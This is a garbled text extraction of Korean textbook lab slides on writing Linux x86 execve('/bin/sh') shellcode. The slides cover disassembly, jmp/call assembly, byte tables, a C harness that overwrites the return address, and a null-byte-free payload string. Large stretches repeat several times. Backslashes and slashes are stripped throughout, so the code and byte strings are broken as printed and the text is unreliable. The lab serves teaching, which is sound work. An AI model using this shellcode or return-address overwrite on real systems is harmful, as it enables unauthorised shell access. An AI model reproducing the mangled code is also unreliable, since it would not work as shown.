실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 81: 80×86  시스템에 대한 이해

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 82: 80×86  시스템에 대한 이해

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

